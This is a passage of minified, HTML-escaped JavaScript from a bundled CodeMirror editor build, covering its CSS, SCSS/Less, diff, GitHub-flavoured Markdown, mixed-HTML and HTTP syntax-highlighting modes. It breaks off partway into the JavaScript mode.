tart&quot;,&quot;footnotes&quot;,&quot;forwards&quot;,&quot;from&quot;,&quot;geometricPrecision&quot;,&quot;georgian&quot;,&quot;graytext&quot;,&quot;grid&quot;,&quot;groove&quot;,&quot;gujarati&quot;,&quot;gurmukhi&quot;,&quot;hand&quot;,&quot;hangul&quot;,&quot;hangul-consonant&quot;,&quot;hard-light&quot;,&quot;hebrew&quot;,&quot;help&quot;,&quot;hidden&quot;,&quot;hide&quot;,&quot;higher&quot;,&quot;highlight&quot;,&quot;highlighttext&quot;,&quot;hiragana&quot;,&quot;hiragana-iroha&quot;,&quot;horizontal&quot;,&quot;hsl&quot;,&quot;hsla&quot;,&quot;hue&quot;,&quot;icon&quot;,&quot;ignore&quot;,&quot;inactiveborder&quot;,&quot;inactivecaption&quot;,&quot;inactivecaptiontext&quot;,&quot;infinite&quot;,&quot;infobackground&quot;,&quot;infotext&quot;,&quot;inherit&quot;,&quot;initial&quot;,&quot;inline&quot;,&quot;inline-axis&quot;,&quot;inline-block&quot;,&quot;inline-flex&quot;,&quot;inline-grid&quot;,&quot;inline-table&quot;,&quot;inset&quot;,&quot;inside&quot;,&quot;intrinsic&quot;,&quot;invert&quot;,&quot;italic&quot;,&quot;japanese-formal&quot;,&quot;japanese-informal&quot;,&quot;justify&quot;,&quot;kannada&quot;,&quot;katakana&quot;,&quot;katakana-iroha&quot;,&quot;keep-all&quot;,&quot;khmer&quot;,&quot;korean-hangul-formal&quot;,&quot;korean-hanja-formal&quot;,&quot;korean-hanja-informal&quot;,&quot;landscape&quot;,&quot;lao&quot;,&quot;large&quot;,&quot;larger&quot;,&quot;left&quot;,&quot;level&quot;,&quot;lighter&quot;,&quot;lighten&quot;,&quot;line-through&quot;,&quot;linear&quot;,&quot;linear-gradient&quot;,&quot;lines&quot;,&quot;list-item&quot;,&quot;listbox&quot;,&quot;listitem&quot;,&quot;local&quot;,&quot;logical&quot;,&quot;loud&quot;,&quot;lower&quot;,&quot;lower-alpha&quot;,&quot;lower-armenian&quot;,&quot;lower-greek&quot;,&quot;lower-hexadecimal&quot;,&quot;lower-latin&quot;,&quot;lower-norwegian&quot;,&quot;lower-roman&quot;,&quot;lowercase&quot;,&quot;ltr&quot;,&quot;luminosity&quot;,&quot;malayalam&quot;,&quot;match&quot;,&quot;matrix&quot;,&quot;matrix3d&quot;,&quot;media-controls-background&quot;,&quot;media-current-time-display&quot;,&quot;media-fullscreen-button&quot;,&quot;media-mute-button&quot;,&quot;media-play-button&quot;,&quot;media-return-to-realtime-button&quot;,&quot;media-rewind-button&quot;,&quot;media-seek-back-button&quot;,&quot;media-seek-forward-button&quot;,&quot;media-slider&quot;,&quot;media-sliderthumb&quot;,&quot;media-time-remaining-display&quot;,&quot;media-volume-slider&quot;,&quot;media-volume-slider-container&quot;,&quot;media-volume-sliderthumb&quot;,&quot;medium&quot;,&quot;menu&quot;,&quot;menulist&quot;,&quot;menulist-button&quot;,&quot;menulist-text&quot;,&quot;menulist-textfield&quot;,&quot;menutext&quot;,&quot;message-box&quot;,&quot;middle&quot;,&quot;min-intrinsic&quot;,&quot;mix&quot;,&quot;mongolian&quot;,&quot;monospace&quot;,&quot;move&quot;,&quot;multiple&quot;,&quot;multiply&quot;,&quot;myanmar&quot;,&quot;n-resize&quot;,&quot;narrower&quot;,&quot;ne-resize&quot;,&quot;nesw-resize&quot;,&quot;no-close-quote&quot;,&quot;no-drop&quot;,&quot;no-open-quote&quot;,&quot;no-repeat&quot;,&quot;none&quot;,&quot;normal&quot;,&quot;not-allowed&quot;,&quot;nowrap&quot;,&quot;ns-resize&quot;,&quot;numbers&quot;,&quot;numeric&quot;,&quot;nw-resize&quot;,&quot;nwse-resize&quot;,&quot;oblique&quot;,&quot;octal&quot;,&quot;opacity&quot;,&quot;open-quote&quot;,&quot;optimizeLegibility&quot;,&quot;optimizeSpeed&quot;,&quot;oriya&quot;,&quot;oromo&quot;,&quot;outset&quot;,&quot;outside&quot;,&quot;outside-shape&quot;,&quot;overlay&quot;,&quot;overline&quot;,&quot;padding&quot;,&quot;padding-box&quot;,&quot;painted&quot;,&quot;page&quot;,&quot;paused&quot;,&quot;persian&quot;,&quot;perspective&quot;,&quot;plus-darker&quot;,&quot;plus-lighter&quot;,&quot;pointer&quot;,&quot;polygon&quot;,&quot;portrait&quot;,&quot;pre&quot;,&quot;pre-line&quot;,&quot;pre-wrap&quot;,&quot;preserve-3d&quot;,&quot;progress&quot;,&quot;push-button&quot;,&quot;radial-gradient&quot;,&quot;radio&quot;,&quot;read-only&quot;,&quot;read-write&quot;,&quot;read-write-plaintext-only&quot;,&quot;rectangle&quot;,&quot;region&quot;,&quot;relative&quot;,&quot;repeat&quot;,&quot;repeating-linear-gradient&quot;,&quot;repeating-radial-gradient&quot;,&quot;repeat-x&quot;,&quot;repeat-y&quot;,&quot;reset&quot;,&quot;reverse&quot;,&quot;rgb&quot;,&quot;rgba&quot;,&quot;ridge&quot;,&quot;right&quot;,&quot;rotate&quot;,&quot;rotate3d&quot;,&quot;rotateX&quot;,&quot;rotateY&quot;,&quot;rotateZ&quot;,&quot;round&quot;,&quot;row&quot;,&quot;row-resize&quot;,&quot;row-reverse&quot;,&quot;rtl&quot;,&quot;run-in&quot;,&quot;running&quot;,&quot;s-resize&quot;,&quot;sans-serif&quot;,&quot;saturation&quot;,&quot;scale&quot;,&quot;scale3d&quot;,&quot;scaleX&quot;,&quot;scaleY&quot;,&quot;scaleZ&quot;,&quot;screen&quot;,&quot;scroll&quot;,&quot;scrollbar&quot;,&quot;scroll-position&quot;,&quot;se-resize&quot;,&quot;searchfield&quot;,&quot;searchfield-cancel-button&quot;,&quot;searchfield-decoration&quot;,&quot;searchfield-results-button&quot;,&quot;searchfield-results-decoration&quot;,&quot;self-start&quot;,&quot;self-end&quot;,&quot;semi-condensed&quot;,&quot;semi-expanded&quot;,&quot;separate&quot;,&quot;serif&quot;,&quot;show&quot;,&quot;sidama&quot;,&quot;simp-chinese-formal&quot;,&quot;simp-chinese-informal&quot;,&quot;single&quot;,&quot;skew&quot;,&quot;skewX&quot;,&quot;skewY&quot;,&quot;skip-white-space&quot;,&quot;slide&quot;,&quot;slider-horizontal&quot;,&quot;slider-vertical&quot;,&quot;sliderthumb-horizontal&quot;,&quot;sliderthumb-vertical&quot;,&quot;slow&quot;,&quot;small&quot;,&quot;small-caps&quot;,&quot;small-caption&quot;,&quot;smaller&quot;,&quot;soft-light&quot;,&quot;solid&quot;,&quot;somali&quot;,&quot;source-atop&quot;,&quot;source-in&quot;,&quot;source-out&quot;,&quot;source-over&quot;,&quot;space&quot;,&quot;space-around&quot;,&quot;space-between&quot;,&quot;space-evenly&quot;,&quot;spell-out&quot;,&quot;square&quot;,&quot;square-button&quot;,&quot;start&quot;,&quot;static&quot;,&quot;status-bar&quot;,&quot;stretch&quot;,&quot;stroke&quot;,&quot;sub&quot;,&quot;subpixel-antialiased&quot;,&quot;super&quot;,&quot;sw-resize&quot;,&quot;symbolic&quot;,&quot;symbols&quot;,&quot;system-ui&quot;,&quot;table&quot;,&quot;table-caption&quot;,&quot;table-cell&quot;,&quot;table-column&quot;,&quot;table-column-group&quot;,&quot;table-footer-group&quot;,&quot;table-header-group&quot;,&quot;table-row&quot;,&quot;table-row-group&quot;,&quot;tamil&quot;,&quot;telugu&quot;,&quot;text&quot;,&quot;text-bottom&quot;,&quot;text-top&quot;,&quot;textarea&quot;,&quot;textfield&quot;,&quot;thai&quot;,&quot;thick&quot;,&quot;thin&quot;,&quot;threeddarkshadow&quot;,&quot;threedface&quot;,&quot;threedhighlight&quot;,&quot;threedlightshadow&quot;,&quot;threedshadow&quot;,&quot;tibetan&quot;,&quot;tigre&quot;,&quot;tigrinya-er&quot;,&quot;tigrinya-er-abegede&quot;,&quot;tigrinya-et&quot;,&quot;tigrinya-et-abegede&quot;,&quot;to&quot;,&quot;top&quot;,&quot;trad-chinese-formal&quot;,&quot;trad-chinese-informal&quot;,&quot;transform&quot;,&quot;translate&quot;,&quot;translate3d&quot;,&quot;translateX&quot;,&quot;translateY&quot;,&quot;translateZ&quot;,&quot;transparent&quot;,&quot;ultra-condensed&quot;,&quot;ultra-expanded&quot;,&quot;underline&quot;,&quot;unset&quot;,&quot;up&quot;,&quot;upper-alpha&quot;,&quot;upper-armenian&quot;,&quot;upper-greek&quot;,&quot;upper-hexadecimal&quot;,&quot;upper-latin&quot;,&quot;upper-norwegian&quot;,&quot;upper-roman&quot;,&quot;uppercase&quot;,&quot;urdu&quot;,&quot;url&quot;,&quot;var&quot;,&quot;vertical&quot;,&quot;vertical-text&quot;,&quot;visible&quot;,&quot;visibleFill&quot;,&quot;visiblePainted&quot;,&quot;visibleStroke&quot;,&quot;visual&quot;,&quot;w-resize&quot;,&quot;wait&quot;,&quot;wave&quot;,&quot;wider&quot;,&quot;window&quot;,&quot;windowframe&quot;,&quot;windowtext&quot;,&quot;words&quot;,&quot;wrap&quot;,&quot;wrap-reverse&quot;,&quot;x-large&quot;,&quot;x-small&quot;,&quot;xor&quot;,&quot;xx-large&quot;,&quot;xx-small&quot;],w=b(v),x=d.concat(f).concat(h).concat(j).concat(l).concat(n).concat(t).concat(v);
a.registerHelper(&quot;hintWords&quot;,&quot;css&quot;,x),a.defineMIME(&quot;text/css&quot;,{documentTypes:e,mediaTypes:g,mediaFeatures:i,mediaValueKeywords:k,propertyKeywords:m,nonStandardPropertyKeywords:o,fontProperties:q,counterDescriptors:s,colorKeywords:u,valueKeywords:w,tokenHooks:{&quot;/&quot;:function(a,b){return!!a.eat(&quot;*&quot;)&amp;&amp;(b.tokenize=c,c(a,b))}},name:&quot;css&quot;}),a.defineMIME(&quot;text/x-scss&quot;,{mediaTypes:g,mediaFeatures:i,mediaValueKeywords:k,propertyKeywords:m,nonStandardPropertyKeywords:o,colorKeywords:u,valueKeywords:w,fontProperties:q,allowNested:!0,lineComment:&quot;//&quot;,tokenHooks:{&quot;/&quot;:function(a,b){return a.eat(&quot;/&quot;)?(a.skipToEnd(),[&quot;comment&quot;,&quot;comment&quot;]):a.eat(&quot;*&quot;)?(b.tokenize=c,c(a,b)):[&quot;operator&quot;,&quot;operator&quot;]},&quot;:&quot;:function(a){return!!a.match(/\s*\{/,!1)&amp;&amp;[null,null]},$:function(a){return a.match(/^[\w-]+/),a.match(/^\s*:/,!1)?[&quot;variable-2&quot;,&quot;variable-definition&quot;]:[&quot;variable-2&quot;,&quot;variable&quot;]},&quot;#&quot;:function(a){return!!a.eat(&quot;{&quot;)&amp;&amp;[null,&quot;interpolation&quot;]}},name:&quot;css&quot;,helperType:&quot;scss&quot;}),a.defineMIME(&quot;text/x-less&quot;,{mediaTypes:g,mediaFeatures:i,mediaValueKeywords:k,propertyKeywords:m,nonStandardPropertyKeywords:o,colorKeywords:u,valueKeywords:w,fontProperties:q,allowNested:!0,lineComment:&quot;//&quot;,tokenHooks:{&quot;/&quot;:function(a,b){return a.eat(&quot;/&quot;)?(a.skipToEnd(),[&quot;comment&quot;,&quot;comment&quot;]):a.eat(&quot;*&quot;)?(b.tokenize=c,c(a,b)):[&quot;operator&quot;,&quot;operator&quot;]},&quot;@&quot;:function(a){return a.eat(&quot;{&quot;)?[null,&quot;interpolation&quot;]:!a.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,!1)&amp;&amp;(a.eatWhile(/[\w\\\-]/),a.match(/^\s*:/,!1)?[&quot;variable-2&quot;,&quot;variable-definition&quot;]:[&quot;variable-2&quot;,&quot;variable&quot;])},&quot;&amp;&quot;:function(){return[&quot;atom&quot;,&quot;atom&quot;]}},name:&quot;css&quot;,helperType:&quot;less&quot;}),a.defineMIME(&quot;text/x-gss&quot;,{documentTypes:e,mediaTypes:g,mediaFeatures:i,propertyKeywords:m,nonStandardPropertyKeywords:o,fontProperties:q,counterDescriptors:s,colorKeywords:u,valueKeywords:w,supportsAtComponent:!0,tokenHooks:{&quot;/&quot;:function(a,b){return!!a.eat(&quot;*&quot;)&amp;&amp;(b.tokenize=c,c(a,b))}},name:&quot;css&quot;,helperType:&quot;gss&quot;})})},{&quot;../../lib/codemirror&quot;:59}],62:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;diff&quot;,function(){var a={&quot;+&quot;:&quot;positive&quot;,&quot;-&quot;:&quot;negative&quot;,&quot;@&quot;:&quot;meta&quot;};return{token:function(b){var c=b.string.search(/[\t ]+?$/);if(!b.sol()||0===c)return b.skipToEnd(),(&quot;error &quot;+(a[b.string.charAt(0)]||&quot;&quot;)).replace(/ $/,&quot;&quot;);var d=a[b.peek()]||b.skipToEnd();return c===-1?b.skipToEnd():b.pos=c,d}}}),a.defineMIME(&quot;text/x-diff&quot;,&quot;diff&quot;)})},{&quot;../../lib/codemirror&quot;:59}],63:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../markdown/markdown&quot;),a(&quot;../../addon/mode/overlay&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../markdown/markdown&quot;,&quot;../../addon/mode/overlay&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;var b=/^((?:(?:aaas?|about|acap|adiumxtra|af[ps]|aim|apt|attachment|aw|beshare|bitcoin|bolo|callto|cap|chrome(?:-extension)?|cid|coap|com-eventbrite-attendee|content|crid|cvs|data|dav|dict|dlna-(?:playcontainer|playsingle)|dns|doi|dtn|dvb|ed2k|facetime|feed|file|finger|fish|ftp|geo|gg|git|gizmoproject|go|gopher|gtalk|h323|hcp|https?|iax|icap|icon|im|imap|info|ipn|ipp|irc[6s]?|iris(?:\.beep|\.lwz|\.xpc|\.xpcs)?|itms|jar|javascript|jms|keyparc|lastfm|ldaps?|magnet|mailto|maps|market|message|mid|mms|ms-help|msnim|msrps?|mtqp|mumble|mupdate|mvn|news|nfs|nih?|nntp|notes|oid|opaquelocktoken|palm|paparazzi|platform|pop|pres|proxy|psyc|query|res(?:ource)?|rmi|rsync|rtmp|rtsp|secondlife|service|session|sftp|sgn|shttp|sieve|sips?|skype|sm[bs]|snmp|soap\.beeps?|soldat|spotify|ssh|steam|svn|tag|teamspeak|tel(?:net)?|tftp|things|thismessage|tip|tn3270|tv|udp|unreal|urn|ut2004|vemmi|ventrilo|view-source|webcal|wss?|wtai|wyciwyg|xcon(?:-userid)?|xfire|xmlrpc\.beeps?|xmpp|xri|ymsgr|z39\.50[rs]?):(?:\/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}\/)(?:[^\s()&lt;&gt;]|\([^\s()&lt;&gt;]*\))+(?:\([^\s()&lt;&gt;]*\)|[^\s`*!()\[\]{};:&#039;&quot;.,&lt;&gt;?\xab\xbb\u201c\u201d\u2018\u2019]))/i;a.defineMode(&quot;gfm&quot;,function(c,d){function e(a){return a.code=!1,null}var f=0,g={startState:function(){return{code:!1,codeBlock:!1,ateSpace:!1}},copyState:function(a){return{code:a.code,codeBlock:a.codeBlock,ateSpace:a.ateSpace}},token:function(a,c){if(c.combineTokens=null,c.codeBlock)return a.match(/^```+/)?(c.codeBlock=!1,null):(a.skipToEnd(),null);if(a.sol()&amp;&amp;(c.code=!1),a.sol()&amp;&amp;a.match(/^```+/))return a.skipToEnd(),c.codeBlock=!0,null;if(&quot;`&quot;===a.peek()){a.next();var e=a.pos;a.eatWhile(&quot;`&quot;);var g=1+a.pos-e;return c.code?g===f&amp;&amp;(c.code=!1):(f=g,c.code=!0),null}if(c.code)return a.next(),null;if(a.eatSpace())return c.ateSpace=!0,null;if((a.sol()||c.ateSpace)&amp;&amp;(c.ateSpace=!1,d.gitHubSpice!==!1)){if(a.match(/^(?:[a-zA-Z0-9\-_]+\/)?(?:[a-zA-Z0-9\-_]+@)?(?:[a-f0-9]{7,40}\b)/))return c.combineTokens=!0,&quot;link&quot;;if(a.match(/^(?:[a-zA-Z0-9\-_]+\/)?(?:[a-zA-Z0-9\-_]+)?#[0-9]+\b/))return c.combineTokens=!0,&quot;link&quot;}return a.match(b)&amp;&amp;&quot;](&quot;!=a.string.slice(a.start-2,a.start)&amp;&amp;(0==a.start||/\W/.test(a.string.charAt(a.start-1)))?(c.combineTokens=!0,&quot;link&quot;):(a.next(),null)},blankLine:e},h={taskLists:!0,strikethrough:!0,emoji:!0};for(var i in d)h[i]=d[i];return h.name=&quot;markdown&quot;,a.overlayMode(a.getMode(c,h),g)},&quot;markdown&quot;),a.defineMIME(&quot;text/x-gfm&quot;,&quot;gfm&quot;)})},{&quot;../../addon/mode/overlay&quot;:37,&quot;../../lib/codemirror&quot;:59,&quot;../markdown/markdown&quot;:68}],64:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../xml/xml&quot;),a(&quot;../javascript/javascript&quot;),a(&quot;../css/css&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../xml/xml&quot;,&quot;../javascript/javascript&quot;,&quot;../css/css&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b,c){var d=a.current(),e=d.search(b);return e&gt;-1?a.backUp(d.length-e):d.match(/&lt;\/?$/)&amp;&amp;(a.backUp(d.length),a.match(b,!1)||a.match(d)),c}function c(a){var b=i[a];return b?b:i[a]=new RegExp(&quot;\\s+&quot;+a+&quot;\\s*=\\s*(&#039;|\&quot;)?([^&#039;\&quot;]+)(&#039;|\&quot;)?\\s*&quot;)}function d(a,b){var d=a.match(c(b));return d?/^\s*(.*?)\s*$/.exec(d[2])[1]:&quot;&quot;}function e(a,b){return new RegExp((b?&quot;^&quot;:&quot;&quot;)+&quot;&lt;/s*&quot;+a+&quot;s*&gt;&quot;,&quot;i&quot;)}function f(a,b){for(var c in a)for(var d=b[c]||(b[c]=[]),e=a[c],f=e.length-1;f&gt;=0;f--)d.unshift(e[f])}function g(a,b){for(var c=0;c&lt;a.length;c++){var e=a[c];if(!e[0]||e[1].test(d(b,e[0])))return e[2]}}var h={script:[[&quot;lang&quot;,/(javascript|babel)/i,&quot;javascript&quot;],[&quot;type&quot;,/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^module$|^$/i,&quot;javascript&quot;],[&quot;type&quot;,/./,&quot;text/plain&quot;],[null,null,&quot;javascript&quot;]],style:[[&quot;lang&quot;,/^css$/i,&quot;css&quot;],[&quot;type&quot;,/^(text\/)?(x-)?(stylesheet|css)$/i,&quot;css&quot;],[&quot;type&quot;,/./,&quot;text/plain&quot;],[null,null,&quot;css&quot;]]},i={};a.defineMode(&quot;htmlmixed&quot;,function(c,d){function i(d,f){var h,l=j.token(d,f.htmlState),m=/\btag\b/.test(l);if(m&amp;&amp;!/[&lt;&gt;\s\/]/.test(d.current())&amp;&amp;(h=f.htmlState.tagName&amp;&amp;f.htmlState.tagName.toLowerCase())&amp;&amp;k.hasOwnProperty(h))f.inTag=h+&quot; &quot;;else if(f.inTag&amp;&amp;m&amp;&amp;/&gt;$/.test(d.current())){var n=/^([\S]+) (.*)/.exec(f.inTag);f.inTag=null;var o=&quot;&gt;&quot;==d.current()&amp;&amp;g(k[n[1]],n[2]),p=a.getMode(c,o),q=e(n[1],!0),r=e(n[1],!1);f.token=function(a,c){return a.match(q,!1)?(c.token=i,c.localState=c.localMode=null,null):b(a,r,c.localMode.token(a,c.localState))},f.localMode=p,f.localState=a.startState(p,j.indent(f.htmlState,&quot;&quot;))}else f.inTag&amp;&amp;(f.inTag+=d.current(),d.eol()&amp;&amp;(f.inTag+=&quot; &quot;));return l}var j=a.getMode(c,{name:&quot;xml&quot;,htmlMode:!0,multilineTagIndentFactor:d.multilineTagIndentFactor,multilineTagIndentPastTag:d.multilineTagIndentPastTag}),k={},l=d&amp;&amp;d.tags,m=d&amp;&amp;d.scriptTypes;if(f(h,k),l&amp;&amp;f(l,k),m)for(var n=m.length-1;n&gt;=0;n--)k.script.unshift([&quot;type&quot;,m[n].matches,m[n].mode]);return{startState:function(){var b=a.startState(j);return{token:i,inTag:null,localMode:null,localState:null,htmlState:b}},copyState:function(b){var c;return b.localState&amp;&amp;(c=a.copyState(b.localMode,b.localState)),{token:b.token,inTag:b.inTag,localMode:b.localMode,localState:c,htmlState:a.copyState(j,b.htmlState)}},token:function(a,b){return b.token(a,b)},indent:function(b,c,d){return!b.localMode||/^\s*&lt;\//.test(c)?j.indent(b.htmlState,c):b.localMode.indent?b.localMode.indent(b.localState,c,d):a.Pass},innerMode:function(a){return{state:a.localState||a.htmlState,mode:a.localMode||j}}}},&quot;xml&quot;,&quot;javascript&quot;,&quot;css&quot;),a.defineMIME(&quot;text/html&quot;,&quot;htmlmixed&quot;)})},{&quot;../../lib/codemirror&quot;:59,&quot;../css/css&quot;:61,&quot;../javascript/javascript&quot;:66,&quot;../xml/xml&quot;:75}],65:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;http&quot;,function(){function a(a,b){return a.skipToEnd(),b.cur=g,&quot;error&quot;}function b(b,d){return b.match(/^HTTP\/\d\.\d/)?(d.cur=c,&quot;keyword&quot;):b.match(/^[A-Z]+/)&amp;&amp;/[ \t]/.test(b.peek())?(d.cur=e,&quot;keyword&quot;):a(b,d)}function c(b,c){var e=b.match(/^\d+/);if(!e)return a(b,c);c.cur=d;var f=Number(e[0]);return f&gt;=100&amp;&amp;f&lt;200?&quot;positive informational&quot;:f&gt;=200&amp;&amp;f&lt;300?&quot;positive success&quot;:f&gt;=300&amp;&amp;f&lt;400?&quot;positive redirect&quot;:f&gt;=400&amp;&amp;f&lt;500?&quot;negative client-error&quot;:f&gt;=500&amp;&amp;f&lt;600?&quot;negative server-error&quot;:&quot;error&quot;}function d(a,b){return a.skipToEnd(),b.cur=g,null}function e(a,b){return a.eatWhile(/\S/),b.cur=f,&quot;string-2&quot;}function f(b,c){return b.match(/^HTTP\/\d\.\d$/)?(c.cur=g,&quot;keyword&quot;):a(b,c)}function g(a){return a.sol()&amp;&amp;!a.eat(/[ \t]/)?a.match(/^.*?:/)?&quot;atom&quot;:(a.skipToEnd(),&quot;error&quot;):(a.skipToEnd(),&quot;string&quot;)}function h(a){return a.skipToEnd(),null}return{token:function(a,b){var c=b.cur;return c!=g&amp;&amp;c!=h&amp;&amp;a.eatSpace()?null:c(a,b)},blankLine:function(a){a.cur=h},startState:function(){return{cur:b}}}}),a.defineMIME(&quot;message/http&quot;,&quot;http&quot;)})},{&quot;../../lib/codemirror&quot;:59}],66:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;javascript&quot;,function(b,c){function d(a){for(var b,c=!1,d=!1;null!=(b=a.next());){if(!c){if(&quot;/&quot;==b&amp;&amp;!d)return;&quot;[&quot;==b?d=!0:d&amp;&amp;&quot;]&quot;==b&amp;&amp;(d=!1)}c=!c&amp;&amp;&quot;\\&quot;==b}}function e(a,b,c){return Aa=a,Ba=c,b}function f(a,b){var c=a.next();if(&#039;&quot;&#039;==c||&quot;&#039;&quot;==c)return b.tokenize=g(c),b.tokenize(a,b);if(&quot;.&quot;==c&amp;&amp;a.match(/^\d+(?:[eE][+\-]?\d+)?/))return e(&quot;number&quot;,&quot;number&quot;);if(&quot;.&quot;==c&amp;&amp;a.match(&quot;..&quot;))return e(&quot;spread&quot;,&quot;meta&quot;);if(/[\[\]{}\(\),;\:\.]/.test(c))return e(c);if(&quot;=&quot;==c&amp;&amp;a.eat(&quot;&gt;&quot;))return e(&quot;=&gt;&quot;,&quot;operator&quot;);if(&quot;0&quot;==c&amp;&amp;a.eat(/x/i))return a.eatWhile(/[\da-f]/i),e(&quot;number&quot;,&quot;number&quot;);if(&quot;0&quot;==c&amp;&amp;a.eat(/o/i))return a.eatWhile(/[0-7]/i),e(&quot;number&quot;,&quot;number&quot;);if(&quot;0&quot;==c&amp;&amp;a.eat(/b/i))return a.eatWhile(/[01]/i),e(&quot;number&quot;,&quot;number&quot;);if(/\d/.test(c))return a.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/),e(&quot;number&quot;,&quot;number&quot;);if(&quot;/&quot;==c)return a.eat(&quot;*&quot;)?(b.tokenize=h,h(a,b)):a.eat(&quot;/&quot;)?(a.skipToEnd(),e(&quot;comment&quot;,&quot;comment&quot;)):za(a,b,1)?(d(a),a.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/),e(&quot;regexp&quot;,&quot;string-2&quot;)):(a.eatWhile(Ja),e(&quot;operator&quot;,&quot;operator&quot;,a.current()));if(&quot;`&quot;==c)return b.tokenize=i,i(a,b);if(&quot;#&quot;==c)return a.skipToEnd(),e(&quot;error&quot;,&quot;error&quot;);if(Ja.test(c))return&quot;&gt;&quot;==c&amp;&amp;b.lexical&amp;&amp;&quot;&gt;&quot;==b.lexical.type||a.eatWhile(Ja),e(&quot;operator&quot;,&quot;operator&quot;,a.current());if(Ha.test(c)){a.eatWhile(Ha);var f=a.current();if(&quot;.&quot;!=b.lastType){if(Ia.propertyIsEnumerable(f)){var j=Ia[f];return e(j.type,j.style,f)}if(&quot;async&quot;==f&amp;&amp;a.match(/^\s*[\(\w]/,!1))return e(&quot;async&quot;,&quot;keyword&quot;,f)}return e(&quot;variable&quot;,&quot;variable&quot;,f)}}function g(a){return function(b,c){var d,g=!1;if(Ea&amp;&amp;&quot;@&quot;==b.peek()&amp;&amp;b.match(Ka))return c.tokenize=f,e(&quot;jsonld-keyword&quot;,&quot;meta&quot;);for(;null!=(d=b.next())&amp;&amp;(d!=a||g);)g=!g&amp;&amp;&quot;\\&quot;==d;return g||(c.tokenize=f),e(&quot;string&quot;,&quot;string&quot;)}}function h(a,b){for(var c,d=!1;c=a.next();){if(&quot;/&quot;==c&amp;&amp;d){b.tokenize=f;break}d=&quot;*&quot;==c}return e(&quot;comment&quot;,&quot;comment&quot;)}function i(a,b){for(var c,d=!1;null!=(c=a.next());){if(!d&amp;&amp;(&quot;`&quot;==c||&quot;$&quot;==c&amp;&amp;a.eat(&quot;{&quot;))){b.tokenize=f;break}d=!d&amp;&amp;&quot;\\&quot;==c}return e(&quot;quasi&quot;,&quot;string-2&quot;,a.current())}function j(a,b){b.fatArrowAt&amp;&amp;(b.fatArrowAt=null);var c=a.string.indexOf(&quot;=&gt;&quot;,a.start);if(!(c&lt;0)){if(Ga){var d=/:\s*(?:\w+(?:&lt;[^&gt;]*&gt;|\[\])?|\{[^}]*\})\s*$/.exec(a.string.slice(a.start,c));d&amp;&amp;(c=d.index)}for(var e=0,f=!1,g=c-1;g&gt;=0;--g){var h=a.string.charAt(g),i=La.indexOf(h);if(i&gt;=0&amp;&amp;i&lt;3){if(!e){++g;break}if(0==--e){&quot;(&quot;==h&amp;&amp;(f=!0);break}}else if(i&gt;=3&amp;&amp;i&lt;6)++e;else if(Ha.test(h))f=!0;else{if(/[&quot;&#039;\/]/.test(h))return;if(f&amp;&amp;!e){++g;break}}}f&amp;&amp;!e&amp;&amp;(b.fatArrowAt=g)}}function k(a,b,c,d,e,f){this.indented=a,this.column=b,this.type=c,this.prev=e,this.info=f,null!=d&amp;&amp;(this.align=d)}function l(a,b){for(var c=a.localVars;c;c=c.next)if(c.name==b)return!0;for(var d=a.context;d;d=d.prev)for(var c=d.vars;c;c=c.next)if(c.name==b)return!0}function m(a,b,c,d,e){var f=a.cc;for(Na.state=a,Na.stream=e,Na.marked=null,Na.cc=f,Na.style=b,a.lexical.hasOwnProperty(&quot;align&quot;)||(a.lexical.align=!0);;){var g=f.length?f.pop():Fa?w:v;if(g(c,d)){for(;f.length&amp;&amp;f[f.length-1].lex;)f.pop()();return Na.marked?Na.marked:&quot;variable&quot;==c&amp;&amp;l(a,d)?&quot;variable-2&quot;:b}}}function n(){for(var a=arguments.length-1;a&gt;=0;a--)Na.cc.push(arguments[a])}function o(){return n.apply(null,arguments),!0}function p(a){function b(b){for(var c=b;c;c=c.next)if(c.name==a)return!0;return!1}var d=Na.state;if(Na.marked=&quot;def&quot;,d.context){if(b(d.localVars))return;d.localVars={name:a,next:d.localVars}}else{if(b(d.globalVars))return;c.globalVars&amp;&amp;(d.globalVars={name:a,next:d.globalVars})}}function q(){Na.state.context={prev:Na.state.context,vars:Na.state.localVars},Na.state.localVars=Oa}function r(){Na.state.localVars=Na.state.context.vars,Na.state.context=Na.state.context.prev}function s(a,b){var c=function(){var c=Na.state,d=c.indented;if(&quot;stat&quot;==c.lexical.type)d=c.lexical.indented;else for(var e=c.lexical;e&amp;&amp;&quot;)&quot;==e.type&amp;&amp;e.align;e=e.prev)d=e.indented;c.lexical=new k(d,Na.stream.column(),a,null,c.lexical,b)};return c.lex=!0,c}function t(){var a=Na.state;a.lexical.prev&amp;&amp;(&quot;)&quot;==a.lexical.type&amp;&amp;(a.indented=a.lexical.indented),a.lexical=a.lexical.prev)}function u(a){function b(c){return 